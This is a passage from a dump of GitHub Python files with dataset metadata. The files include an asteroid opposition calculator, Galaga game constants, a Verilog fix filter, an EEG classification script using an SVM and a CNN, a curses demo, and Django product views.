objects.\n if multi_single == 'm':\n opposition_df, count, not_tar_count = multi_obj(opposition_df)\n\n \n if multi_single == 's':\n opposition_df, count, not_tar_count = sin_obj(opposition_df)\n\n else:\n print(\"multiple or single answer not defined.\")\n\n # Re-arrange columns since concat screws them up.\n cols = ['targetname', \n 'datetime_str', \n 'V', \n 'RA', \n 'DEC', \n 'delta', \n 'alpha_true',\n 'airmass'\n ]\n \n opposition_df = opposition_df[cols]\n \n # Retrieving line count == Amount of oppositions found.\n total_opp = opposition_df.V.count()\n \n # Re-name columns to include Units.\n col_dict = {\n 'targetname':'Target Name',\n 'datetime_str':'Date-Time (Date__(UT)HR:MN)',\n 'V':'V (mag)',\n 'RA':'RA (deg)',\n 'DEC':'DEC (deg)',\n 'delta':'delta (AU)',\n 'alpha_true':'True Phase Angle (deg)',\n 'airmass': 'airmass'\n }\n \n opposition_df = opposition_df.rename(columns = col_dict)\n \n #Saving final Concatted dataframe to csv.\n opposition_df.to_csv('opposition.csv', index=False)\n \n\n print('''\n\\n\\n{} Opposition Dates have been found in {} ephemeris('s).'''\n .format(total_opp, count))\n\n if not_tar_count != 0:\n print('''{} object(s) ID number's were not found in JPL Horizons database.\n '''.format(not_tar_count))\n\n if total_opp != 0:\n print('''\nOppositions dates have been saved too oppositions.csv within the directory \nfor this program.'''\n)\n else:\n print('No oppositions found with specified parameters.')\n \n \n\ndef obj_query(identifier, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag,\n ):\n \"\"\" Responsible for pulling ephemeris information from JPL Horizons\"\"\"\n\n # Calls object identified with date information from JPL horizons. \n obj = Horizons(id=identifier, location=location,\n epochs={'start':start_date,\n 'stop':stop_date,\n 'step':step_size}, \n )\n\n # Checks if Daylight needs to be skipped\n if skip_day == 'y':\n # Creating Ephemeris without daylight hours\n eph = obj.ephemerides(skip_daylight=True)\n else:\n # Creating ephemeris object at all hours\n eph = obj.ephemerides(skip_daylight=False) \n \n \n # Convert table to pandas dataframe (easier to manipulate).\n eph_df = eph[column_names].to_pandas()\n \n # Removes objects with airmass higher then limit\n if airmass_q == True:\n eph = airmass_limit(eph_df, airmass_lim)\n \n # Check if Plots need to be saved before editing dataframe.\n if save_plot[0].lower() == 'y':\n plotter(eph_df, identifier, min_mag)\n else:\n pass\n \n # Uses find oppositions to find opposition dates.\n min_eph_df = find_oppositions(min_mag, eph_df)\n\n return min_eph_df\n\n\n\ndef multi_obj(opposition_df):\n \n print(\"\"\"\n___________________________\\n\nText file containing object ID's in column required.\"\"\")\n\n # Opens text file with asteroid ID's to parse\n while True:\n # Input for finding file name\n file_name = input(\"\"\"\nInput text file name containing object ID's\nInclude .txt file extension (ex: asteroid.txt): \"\"\")\n \n try:\n # Open file\n with open(file_name, 'r') as target_list:\n targets = target_list.read().split('\\n')\n \n break\n except:\n print('________________________\\nFile not found, check file name.')\n \n # Start new count\n count = 0\n not_tar_count = 0\n \n # check if ID's are number, if not remove them\n for target in targets: \n count=count + 1\n \n try:\n int(target)\n print(\"-- Parsing obj #{}: Object ID: {} --\".format(count, target))\n \n # Retrieving ephemeris from JPL_Horizons and getting local min.\n min_eph_df = obj_query(target, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag\n ) \n # Concat's object to dataframe after each loop\n frames = [opposition_df, min_eph_df]\n opposition_df = pd.concat(frames, sort=True)\n \n except:\n not_tar_count = not_tar_count + 1\n targets.remove(target)\n print(\"\"\"Target with the ID of '{}' removed, as it was not an ID number\"\"\"\n .format(target))\n \n \n return opposition_df, count, not_tar_count\n \n\n \ndef sin_obj(opposition_df):\n \n while True:\n target = input('Input Object Identifier: ')\n print('-- Parsing Obj ID: {} --'.format(target))\n\n # Retrieving ephemeris from JPL_Hor and getting local min.\n try:\n min_eph_df = obj_query(target, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag\n )\n break\n\n except:\n answer = input(\"Not a valid target. Try again? \")\n if answer[0].lower() == 'y':\n continue\n if answer[0].lower() == 'n':\n break\n else:\n continue\n \n frames = [opposition_df, min_eph_df]\n opposition_df = pd.concat(frames)\n \n count = 1\n not_tar_count = 0\n\n return min_eph_df, count, not_tar_count\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"jusgermann/opposition_calculator","sub_path":"opposition_calc/opposition_calc.py","file_name":"opposition_calc.py","file_ext":"py","file_size_in_byte":14060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25453136358","text":"## @file constants.py\n# File containing game constants\n#\n# Project: Galaga Clone\n# Author: Py Five\n# Created: 10/18/18\n\nfrom pygame.locals import *\n\n\n# Frames Per Second\nFPS = 60\n\n# Colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n# Game Font\nTEXT_SIZE = 25\n\n# Game Menu\nMESSAGE_SIZE = 50\n\n# Window Size\nSCREENRECT = Rect(0, 0, 600, 650)\n\n# Player Speed\nPLAYER_SPEED = 12\nPLAYER_SHOT_ODDS = 25\n\n# Enemy\nENEMY_WIDTH = 28\nENEMY_HEIGHT = 26\nENEMY_ODDS = 48\nMAX_ENEMIES = 300\nENEMY_SHOT_ODDS = 50\nMAX_ENEMY_SHOT = 150\n\n# Shots\nMAX_SHOTS = 5\nSHOT_SPEED = 10\n\n# Level-based properties\nTOTAL_LEVELS = 3\nENEMIES_PER_ROW = [0, 6, 6, 8]\nENEMY_ROWS = [0, 2, 3, 3]\nTOTAL_ENEMIES = [0, 12, 30, 54]\nENEMY_SPEED = [0, 4, 5, 6]\nENEMY_DROP_DIST = [0, 10, 15, 20]\n","repo_name":"kdaigh/gibbonga","sub_path":"data/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"9488766455","text":"#!/usr/bin/env python3\n#\n# fix_verilog ---\n#\n# The script catches an error in the lpflow_bleeder cell where a\n# comment is missing after an `endif.\n#\n# This script is a filter to be run by setting the name of this script as\n# the value to \"filter=\" for the model install in the sky130 Makefile.\n\nimport re\nimport os\nimport sys\n\ndef filter(inname, outname):\n\n # Read input\n try:\n with open(inname, 'r') as inFile:\n vtext = inFile.read()\n vlines = vtext.splitlines()\n except:\n print('fix_verilog.py: failed to open ' + inname + ' for reading.', file=sys.stderr)\n return 1\n\n # Check if input file is a base cell or strength-specific cell, and\n # check if it has a \"specify\" block file. To enable this, change\n # dospecify from False to True.\n dospecify = False\n\n # Process input with regexp\n\n fixedlines = []\n modified = False\n endifrex = re.compile('[ \\t]*`endif[ \\t]+SKY')\n\n for line in vlines:\n ematch = endifrex.match(line)\n if ematch:\n fixedlines.append(line.replace('endif SKY', 'endif // SKY'))\n modified = True\n else:\n fixedlines.append(line)\n\n # Write output\n if outname == None:\n for i in fixedlines:\n print(i)\n else:\n # If the output is a symbolic link but no modifications have been made,\n # then leave it alone. If it was modified, then remove the symbolic\n # link before writing.\n if os.path.islink(outname):\n if not modified:\n return 0\n else:\n os.unlink(outname)\n try:\n with open(outname, 'w') as outFile:\n for i in fixedlines:\n print(i, file=outFile)\n except:\n print('fix_verilog.py: failed to open ' + outname + ' for writing.', file=sys.stderr)\n return 1\n\n\nif __name__ == '__main__':\n\n # This script expects to get one or two arguments. One argument is\n # mandatory and is the input file. The other argument is optional and\n # is the output file. The output file and input file may be the same\n # name, in which case the original input is overwritten.\n\n options = []\n arguments = []\n for item in sys.argv[1:]:\n if item.find('-', 0) == 0:\n options.append(item[1:])\n else:\n arguments.append(item)\n\n if len(arguments) > 0:\n infilename = arguments[0]\n\n if len(arguments) > 1:\n outfilename = arguments[1]\n else:\n outfilename = None\n\n result = filter(infilename, outfilename)\n sys.exit(result)\n","repo_name":"robinmtsang/open_pdks","sub_path":"sky130/custom/scripts/fix_verilog.py","file_name":"fix_verilog.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"43073822688","text":"\"\"\"Setup for E2E tests.\"\"\"\nimport os\nimport time\nfrom src.spotify import get_refresh_token\nfrom src.application import app\n\napp = app\n\nrefresh_token = os.environ.get('REFRESH_TOKEN')\n\ntoken = get_refresh_token(refresh_token)\n\n\ndef set_up_session(client):\n with client.session_transaction() as session:\n session['token'] = token\n session['country'] = 'BG'\n session['token_time'] = time.time()\n session['progress'] = 123\n session['uri'] = 'test'\n","repo_name":"PavelPashov/lyricspot","sub_path":"tests/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1061558668","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\nfrom sklearn.decomposition import PCA\n\n# Read in the input\nprint(\"Reading the CSV file\")\ndef load_data():\n train_data = np.genfromtxt('mental-state.csv', dtype=np.float32, delimiter=',')\n X_raw = train_data[:, :-1].astype(np.float32)\n y = train_data[:, -1].astype(np.int32)\n return X_raw, y\n\n[X_raw,y] = load_data()\nprint(X_raw, y)\nprint((\"Number of samples before removing class 1: \" + str(X_raw.shape[0])))\n\n#Remove one class label to make it binary\nX_raw = np.delete(X_raw, np.where((y==1)), axis=0)\ny = np.delete(y, np.where((y==1)), axis=0)/2\n\nprint(X_raw, y)\nprint((\"Number of samples after removing class 1: \" + str(X_raw.shape[0])))\n\n#Remove the infinity values\nX_raw[np.where(np.isinf(X_raw))] = 0\n\n'''\ndef load_data():\n data_train = np.genfromtxt('mental.csv',\n dtype=np.float64, delimiter=',',\n usecols=np.arange(0,2549))\n #data_test = np.genfromtxt('test.csv', dtype=np.float64, delimiter=',')\n #'test_x': data_test[:, :-1].astype(np.float64),\n #'test_y': data_test[:, -1].astype(np.int64),\n\n return {\n 'all': data_train,\n 'train_x': data_train[:, :-1],\n 'train_y': data_train.transpose()[-1],\n }\n\nimport numpy as np\nfrom scipy import stats\n\n\nmental = load_data()\ntrain_all_data = mental['all']\ntrain_x_data = mental['train_x']\n#print(len(train_x_data[0] ))\ntrain_x_data_copy = np.copy(train_x_data)\ntrain_x_data_copy = train_x_data_copy.transpose()\ntrain_y_data = mental['train_y']\n#print(train_y_data,train_x_data_copy[1])\nbenchmark = 0.3\ncorrlations = stats.pearsonr(train_x_data_copy[0], train_y_data)[0]\nidx = np.array([])\nfor i in range(len(train_x_data_copy)):\n this_col = stats.pearsonr(train_x_data_copy[i], train_y_data)[0]\n if this_col >= benchmark:\n idx = np.append(idx, [i])\nidx = np.append(idx, [-1]).astype(int)\n#print(idx)\n\nx = train_all_data[:,idx]\nnp.savetxt('mental_clean.csv', x, delimiter=',', fmt='%s')\n'''\n\n# Do PCA\n#pca = PCA(n_components=30)\n#pca.fit(X_raw)\n#X = pca.transform(X_raw)\nX = X_raw\n\n# Split the data into test and train data\ntest_pcnt = 0.15\nX_train = X[:int(len(X)*(1-test_pcnt)),:]\nX_test = X[int(len(X)*(1-test_pcnt)):,:]\ny_train = y[:int(len(X)*(1-test_pcnt))]\ny_test = y[int(len(X)*(1-test_pcnt)):]\n\nprint(X_test)\n\n#Gamma Series\ngammas = np.array([10**(i) for i in range (0,-20,-1)])\n#SVM Using rbf Kernel Function, test on different gamma values\ntrain_error = np.array([])\ntest_error = np.array([])\n\nfor gamma in gammas:\n mental_svm = SVC(gamma=300, kernel = 'rbf')\n mental_svm.fit(X_train, y_train)\n\n train_result = mental_svm.predict(X_train)\n print(train_result)\n train_false = (train_result != y_train)\n train_error_rate = np.sum(train_false)/len(train_false)\n train_error = np.append(train_error, [train_error_rate])\n print(\"Train error:\", train_error_rate)\n\n test_result = mental_svm.predict(X_test)\n print(test_result)\n test_correct = (test_result == y_test)\n test_error_rate = float(len(test_correct[test_correct == False]))/len(test_correct)\n print(gamma)\n test_error = np.append(test_error, [test_error_rate])\n","repo_name":"Merterm/Semi-Supervised-EEG","sub_path":"semi-svm/pseudo_labeling.py","file_name":"pseudo_labeling.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"16571033468","text":"import curses\n\n\ndef main(stdscr):\n curses.curs_set(0)\n curses.mousemask(1)\n curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_RED)\n curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_GREEN)\n\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.addstr(1, 0, \"Red\")\n stdscr.addstr(2, 0, \"Green\")\n while 1:\n\n b, a = stdscr.getmaxyx()\n key = stdscr.getch()\n if key == curses.KEY_RESIZE:\n curses.resizeterm(*stdscr.getmaxyx())\n b, a = stdscr.getmaxyx()\n # stdscr.clear()\n # stdscr.refresh()\n\n if key == curses.KEY_MOUSE:\n _, x, y, _, _ = curses.getmouse()\n stdscr.addstr(b - 1, 0, \"({}, {})\".format(y, x))\n if y == 1 and x in range(3):\n stdscr.attron(curses.color_pair(1))\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.attroff(curses.color_pair(1))\n elif y == 2 and x in range(5):\n stdscr.attron(curses.color_pair(2))\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.attroff(curses.color_pair(2))\n elif key == 27:\n break\n\n stdscr.refresh()\n\n\ncurses.wrapper(main)\n","repo_name":"Jspriddy/Pycharm-projects","sub_path":"curses/mouse_event.py","file_name":"mouse_event.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31140425820","text":"# file: summer_serial.py\nimport time\nfrom summer import my_summer\n\nbegin = time.time()\nthreads = []\n\nfor i in range(10):\n my_summer(0, 5000000)\n\nprint (\"Time: %f\"%(time.time() - begin))\n","repo_name":"rabiyaneuro/backup-from-scinet","sub_path":"Other/summer_school_18/parallel_python/code/summer_serial.py","file_name":"summer_serial.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13865366911","text":"import os\nimport sys\nimport getopt\nimport csv\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], \"hf:\", [\"file\"])\nexcept getopt.GetoptError:\n print('csv_to_cpp.py -f ')\n sys.exit(2)\nfor opt, arg in opts:\n if opt == '-h':\n print('csv_to_cpp.py -f ')\n sys.exit()\n elif opt in (\"-f\", \"--file\"):\n path = arg\n # elif opt in (\"-p\", \"--prefix\"):\n # prefix = arg\n # elif opt in (\"-s\", \"-sufix\"):\n # sufix = arg\n\n\nf = open(\"out.cpp\", \"w\")\n\nprefix = 'this->_inventory.insert(std::pair(\"'\nsufix = '));'\nwith open(path, newline=\"\") as file:\n reader = csv.reader(file, delimiter=\",\", quotechar=\"|\")\n next(reader)\n for row in reader:\n if row[0] != \"\":\n f.write(\"\\n// \"+row[0]+\"\\n\")\n f.write(prefix + row[1] + '\", ' + row[2] + sufix + \"\\n\")\n","repo_name":"Asiern/ReplicantHook","sub_path":"Scripts/csv_to_cpp.py","file_name":"csv_to_cpp.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"9894843522","text":"import tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport csv\nfrom joblib import dump, load\nfrom sklearn.model_selection import train_test_split\n\n\n#Remember to adjust the paths before running the program.\ndata_path = \"E:\\\\College\\\\Graduation Project\\\\Dataset\\\\DEAP Dataset\\\\data_preprocessed_python\\\\data\\\\augmentedData\\\\\"\nlog_path = \"Logs\\\\\"\ndata_to_be_read = 3\n\ndef get_model():\n model = tf.keras.models.Sequential()\n model.add(tf.keras.layers.Conv2D(filters=64, kernel_size=(3, 3), input_shape=input_shape))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=32, kernel_size=(3, 3)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=16, kernel_size=(3, 3)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=8, kernel_size=(5, 5)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Flatten())\n model.add(tf.keras.layers.Dropout(0.5))\n model.add(tf.keras.layers.Dense(2, activation='softmax'))\n return tf.keras.models.clone_model(model)\n\ndef read_convert_output(file_name):\n data = []\n with open(file_name) as f:\n reader = csv.DictReader(f) # read rows into a dictionary format\n for row in reader: # read a row as {column1: value1, column2: value2,...}\n temp = list(row.values())\n temp = [float(i) for i in temp]\n temp2 = temp[0]\n if temp2 >= 5:\n data.append([1,0])\n else:\n data.append([0,1])\n data=np.array(data)\n return data\n\ndef convert_x_dimensions(input,itr):\n output = np.transpose(input, (1, 0, 2))\n current_x = output[itr]\n current_x = np.expand_dims(current_x, axis=1)\n current_x = np.transpose(current_x, (0, 2, 1))\n return current_x\n\ndef convert_y_dimensions(input):\n current_y = np.expand_dims(input, axis=0)\n return np.transpose(current_y)\n\ndef read_input(start, end):\n output_data = []\n for i in range(start, end):\n sess_data = []\n for j in range(1,13):\n name = data_path + 'sess' + str(i).zfill(4) + '_electrode' + str(j).zfill(2) + '.csv'\n print(name)\n itr = 0\n with open(name) as f:\n data = csv.DictReader(f)\n electrode = []\n for row in data:\n temp = list(row.values())\n temp = [float(i) for i in temp]\n electrode.append(temp.copy())\n itr += 1\n if itr % (data_to_be_read+1) == 0:\n break\n sess_data.append(electrode)\n output_data.append(sess_data)\n return output_data\n\ntest_x_0 = []\ntest_x_1 = []\ntest_y_0 = []\ntest_y_1 = []\n\n\ninput_shape = (12, 8064, 4)\n\n\n\nprint('Getting models')\ncnn_valence_model = get_model()\ncnn_valence_model.build((None, input_shape))\ncnn_valence_model.compile(loss=tf.keras.losses.CategoricalCrossentropy(),\n optimizer=tf.keras.optimizers.RMSprop(),\n metrics=['acc'])\n\ncnn_arousal_model = get_model()\ncnn_arousal_model.build((None, input_shape))\ncnn_arousal_model.compile(loss=tf.keras.losses.CategoricalCrossentropy(),\n optimizer=tf.keras.optimizers.RMSprop(),\n metrics=['acc'])\n\nprint('Before reading Logits')\nY0_main = read_convert_output('label0.csv')\nY1_main = read_convert_output('label1.csv')\n\nX0_testList = []\nY0_testList = []\n\nX1_testList = []\nY1_testList = []\n\n\n\nstep = 40\n\nvalencies = []\narousals = []\n\nfor i in range(1,33):\n start = (i - 1) * step + 1\n end = i * step + 1\n print('Before reading input')\n X = np.array(read_input(start, end))\n X = np.transpose(X, (0, 1, 3, 2))\n\n print('Before splitting')\n X0_train, X0_test, Y0_train, Y0_test = train_test_split(X, Y0_main[start - 1: end - 1],\n random_state=1, test_size=0.2,\n stratify=Y0_main[start - 1: end - 1])\n\n X1_train, X1_test, Y1_train, Y1_test = train_test_split(X, Y1_main[start - 1: end - 1],\n random_state=1, test_size=0.2,\n stratify=Y0_main[start - 1: end - 1])\n X0_testList.append(X0_test)\n Y0_testList.append(Y0_test)\n X1_testList.append(X1_test)\n Y1_testList.append(Y1_test)\n\n '''######NOTE THAT:\n To use callbacks you will need to uncomment the next line \n and add to every fit function the parameter: callbacks = [callback]\n '''\n\n # callback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=7, restore_best_weights=True)\n\n cnn_valence_model.fit(X0_train, Y0_train, epochs=50, batch_size=10, verbose=1,\n validation_data=(X0_test, Y0_test))\n cnn_arousal_model.fit(X1_train, Y1_train, epochs=50, batch_size=10, verbose=1,\n validation_data=(X1_test, Y1_test))\n\n\n\nfor i in range(len(X0_testList)):\n print('Valence of test ' + str(i))\n valencies.append(cnn_valence_model.evaluate(X0_testList[i], Y0_testList[i])[1])\n print(str(valencies[i]))\nfor i in range(len(X1_testList)):\n print('Arousal of test ' + str(i))\n arousals.append(cnn_arousal_model.evaluate(X1_testList[i], Y1_testList[i])[1])\n print(str(arousals[i]))\n","repo_name":"PolaPFA/SAEEG","sub_path":"DeepLearning-Approach1/Raw+Aug_CNN1Model.py","file_name":"Raw+Aug_CNN1Model.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28190900105","text":"import dataclasses as dc\nimport multiprocessing as mp\nimport pickle\nimport time\nfrom multiprocessing.pool import ThreadPool as Pool\nfrom typing import List, Tuple\n\nimport numpy as np\nfrom cupid_matching.choo_siow import (entropy_choo_siow,\n entropy_choo_siow_corrected)\nfrom cupid_matching.entropy import EntropyFunctions\nfrom cupid_matching.matching_utils import Matching\nfrom cupid_matching.min_distance import estimate_semilinear_mde\nfrom cupid_matching.model_classes import ChooSiowPrimitives\nfrom cupid_matching.poisson_glm import choo_siow_poisson_glm\n\nfrom rev1_simuls.config import (age_end, age_start, degrees, do_simuls_mde,\n do_simuls_poisson, model_name, n_sim,\n plot_simuls, renormalize_true_coeffs,\n sample_size, shrink_factor, use_mde_correction,\n zero_guard)\nfrom rev1_simuls.plots import plot_simulation_results\nfrom rev1_simuls.read_data import prepare_data_cupid\nfrom rev1_simuls.simulate import _run_simul\nfrom rev1_simuls.specification import make_bases_cupid\nfrom rev1_simuls.utils import (VarianceMatching, data_dir, print_quantiles,\n results_dir)\n\n\ndef name_and_pickle_primitives(\n mus: Matching, varmus: VarianceMatching, base_functions: np.ndarray\n) -> str:\n \"\"\"pickles the population matching, its variance, and the base functions,\n and creates a qualified name\n\n Args:\n mus: the population Matching\n varmus: the corresponding variances\n base_functions: the values of the base functions\n\n Returns:\n the qualified name\n \"\"\"\n full_model_name = f\"{model_name}_{sample_size}\"\n if shrink_factor != 1:\n full_model_name = f\"{full_model_name}_f{shrink_factor}\"\n if use_mde_correction:\n full_model_name = f\"{full_model_name}_corrected\"\n if (age_start > 16) or (age_end < 40):\n full_model_name = f\"{full_model_name}_a{age_start}_{age_end}\"\n with open(\n data_dir / f\"{full_model_name}_mus_{zero_guard}.pkl\",\n \"wb\",\n ) as f:\n pickle.dump(mus, f)\n with open(data_dir / f\"{full_model_name}_varmus.pkl\", \"wb\") as f:\n pickle.dump(varmus, f)\n with open(data_dir / f\"{full_model_name}_base_functions.pkl\", \"wb\") as f:\n pickle.dump(base_functions, f)\n return full_model_name\n\n\ndef estimate_original(\n full_model_name: str,\n entropy: EntropyFunctions,\n mus: Matching,\n base_functions: np.ndarray,\n) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]:\n \"\"\"estimates Choo and Siow on the original data\n\n Args:\n full_model_name: the qualified name\n mus: the population Matching\n base_functions: the values of the base functions\n\n Returns:\n the estimated coefficients, their estimated variance,\n their estimated standard errors, and the estimated joint surplus\n \"\"\"\n if do_simuls_mde:\n mde_results = estimate_semilinear_mde(mus, base_functions, entropy)\n estim_Phi = mde_results.estimated_Phi\n estim_coeffs = mde_results.estimated_coefficients\n varcov_coeffs = mde_results.varcov_coefficients\n std_coeffs = mde_results.stderrs_coefficients\n else:\n poisson_results = choo_siow_poisson_glm(mus, base_functions)\n estim_Phi = poisson_results.estimated_Phi\n estim_coeffs = poisson_results.estimated_beta\n var_gamma = poisson_results.variance_gamma\n n_bases = base_functions.shape[2]\n varcov_coeffs = var_gamma[-n_bases:, -n_bases:]\n std_coeffs = np.sqrt(np.diag(varcov_coeffs))\n print(\"original estimates:\")\n for base_name, coeff, stderr in zip(base_names, estim_coeffs, std_coeffs):\n print(f\"{base_name: <15}: {coeff: >10.3f} ({stderr: >10.3f})\")\n\n if shrink_factor != 1:\n # experiment with smaller Phi\n estim_Phi /= shrink_factor\n estim_coeffs /= shrink_factor\n varcov_coeffs /= shrink_factor * shrink_factor\n std_coeffs /= shrink_factor\n\n if renormalize_true_coeffs:\n n_bases = base_functions.shape[2]\n for i_base in range(n_bases):\n base_functions[:, :, i_base] *= estim_coeffs[i_base]\n estim_coeffs1 = 1.0 / estim_coeffs\n varcov_coeffs = varcov_coeffs * np.outer(estim_coeffs1, estim_coeffs1)\n std_coeffs *= np.abs(estim_coeffs1)\n estim_coeffs = np.ones(n_bases)\n\n if do_simuls_mde:\n mde_true = dc.replace(\n mde_results,\n estimated_coefficients=estim_coeffs,\n varcov_coefficients=varcov_coeffs,\n stderrs_coefficients=std_coeffs,\n )\n print(mde_true)\n with open(data_dir / f\"{full_model_name}_mde_true.pkl\", \"wb\") as f:\n pickle.dump(mde_true, f)\n\n elif do_simuls_poisson:\n poisson_true = dc.replace(\n poisson_results,\n estimated_beta=estim_coeffs,\n variance_gamma=varcov_coeffs,\n stderrs_beta=std_coeffs,\n )\n print(poisson_true)\n with open(data_dir / f\"{full_model_name}_poisson_true.pkl\", \"wb\") as f:\n pickle.dump(poisson_true, f)\n\n return estim_coeffs, varcov_coeffs, std_coeffs, estim_Phi\n\n\nif __name__ == \"__main__\":\n do_both = do_simuls_mde and do_simuls_poisson\n\n mus, varmus = prepare_data_cupid(sample_size)\n muxy, mux0, mu0y, nx, my = mus.unpack()\n n_households_obs = np.sum(nx) + np.sum(my) - np.sum(muxy)\n base_functions, base_names = make_bases_cupid(nx, my, degrees)\n n_bases = len(base_names)\n full_model_name = name_and_pickle_primitives(mus, varmus, base_functions)\n entropy = (\n entropy_choo_siow_corrected\n if use_mde_correction\n else entropy_choo_siow\n )\n (\n estim_coeffs,\n varcov_coeffs,\n std_coeffs,\n estim_Phi,\n ) = estimate_original(full_model_name, entropy, mus, base_functions)\n\n # we use the Phi and the margins we got from the Cupid dataset\n choo_siow_true = ChooSiowPrimitives(estim_Phi, nx, my)\n\n with open(data_dir / f\"{full_model_name}_phi_true.pkl\", \"wb\") as f:\n pickle.dump(estim_Phi, f)\n\n # generate random seeds\n rng = np.random.default_rng(130962)\n seeds = rng.integers(100_000, size=n_sim)\n verbose = 0\n\n # run simulation\n list_args = [\n [\n i_sim,\n seeds[i_sim],\n choo_siow_true,\n n_households_obs,\n base_functions,\n entropy,\n zero_guard,\n do_simuls_mde,\n do_simuls_poisson,\n verbose,\n ]\n for i_sim in range(n_sim)\n ]\n nb_cpus = mp.cpu_count() - 2\n start_simuls = time.time()\n with Pool(nb_cpus) as pool:\n results = pool.starmap(_run_simul, list_args)\n end_simuls = time.time()\n\n # unpack simulation results\n if do_both:\n estim_coeffs_mde = np.zeros((n_sim, n_bases))\n estim_coeffs_poisson = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_mde[i_sim, :] = results[i_sim][0][0]\n estim_coeffs_poisson[i_sim, :] = results[i_sim][0][1]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"MDE\": estim_coeffs_mde,\n \"Poisson\": estim_coeffs_poisson,\n }\n elif do_simuls_mde:\n estim_coeffs_mde = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_mde[i_sim, :] = results[i_sim][0]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"MDE\": estim_coeffs_mde,\n }\n elif do_simuls_poisson:\n estim_coeffs_poisson = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_poisson[i_sim, :] = results[i_sim][0]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"Poisson\": estim_coeffs_poisson,\n }\n simul_results[\"Cupid stderrs\"] = std_coeffs\n simul_results[\"Cupid varcov\"] = varcov_coeffs\n phi_nonparam = np.zeros((n_sim, nx.size, my.size))\n for isim in range(n_sim):\n phi_nonparam[isim, :, :] = results[isim][1]\n simul_results[\"Phi non param\"] = phi_nonparam\n\n # and save them\n with open(\n results_dir / f\"{full_model_name}_{zero_guard}.pkl\",\n \"wb\",\n ) as f:\n pickle.dump(simul_results, f)\n\n if plot_simuls:\n plot_simulation_results(\n full_model_name,\n n_sim,\n zero_guard,\n do_simuls_mde=do_simuls_mde,\n do_simuls_poisson=do_simuls_poisson,\n )\n\n seed = 75694\n mus_sim = choo_siow_true.simulate(n_households_obs, seed=seed)\n quantiles = np.arange(10, 30) / 100.0\n print(\"Quantiles of population and simulated mus:\")\n print_quantiles([mus.muxy.flatten(), mus_sim.muxy.flatten()], quantiles)\n print(\n f\"Numbers of marriages: {np.sum(mus.muxy)} and {np.sum(mus_sim.muxy)}\"\n )\n print(\n f\"\\n\\n**** {n_sim} simulations took {end_simuls - start_simuls: >10.3f} seconds on {nb_cpus} CPUs****\"\n )\n","repo_name":"bsalanie/rev1_simuls","sub_path":"rev1_simuls/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39479315575","text":"from django.db.transaction import commit\nfrom django.shortcuts import render , get_object_or_404 , reverse, redirect\nfrom django.views import generic\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\n#from django.http import HttpResponse\nfrom wsgiref.util import FileWrapper\nfrom django.contrib.auth.mixins import LoginRequiredMixin ,UserPassesTestMixin\n\n\nfrom .models import Products , Comment\nfrom .forms import CommentForm ,ProductSearchForm\nfrom cart.forms import AddToCart\n\n\nclass ProductListView(generic.ListView):\n #model = Products\n queryset = Products.objects.filter(active=True)\n template_name = \"Products/Products_list.html\"\n context_object_name = \"Products\"\n\n\n\nclass ProductDetailVeiw(generic.DetailView):\n model = Products\n template_name = \"Products/Products_detail.html\"\n 